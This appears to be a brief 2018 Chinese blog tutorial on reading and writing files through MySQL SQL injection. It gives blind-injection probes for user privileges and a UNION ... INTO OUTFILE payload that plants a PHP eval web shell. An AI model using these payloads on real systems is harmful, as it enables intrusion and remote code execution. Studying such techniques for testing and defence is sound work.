SQL隱碼攻擊讀寫檔案

託帕發表於2018-07-27

SQL隱碼攻擊讀寫檔案的根本條件:

1. 資料庫允許匯入匯出(secure_file_priv)

2. 當前使用者使用者檔案操作許可權(File_priv)

 

(select 1,2,%40%40global.secure_file_priv%23) %40為@

load_file()讀檔案 into outfile / into dumpfile寫檔案 條件:

1.對web目錄具有讀寫許可權

2. 知道檔案絕對路徑

3. 能夠使用聯合查詢(sql注入時)

命令: select load_file('d:/phpstudy/www/anyun.php');

select 'anyun' into outfile 'd:/phpstudy/www/anyun.php';

 

 

(例)盲注:
查詢當前使用者:
id輸入:1')) and length(current_user())>10%23
id輸入:1')) and length(current_user())=14%23  正確
id輸入:1')) and substr(current_user(),1) = 'root%40localhost'%23

查詢當前使用者是否有檔案讀寫許可權:
id輸入:1')) and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23


id輸入:1')) order by 3%23  正確
id輸入:1')) union select 1,2,'<?php @eval($_POST[a]);?>' into outfile 'c:/phpStudy/WWW/abc.php'%23 植入木馬

相關文章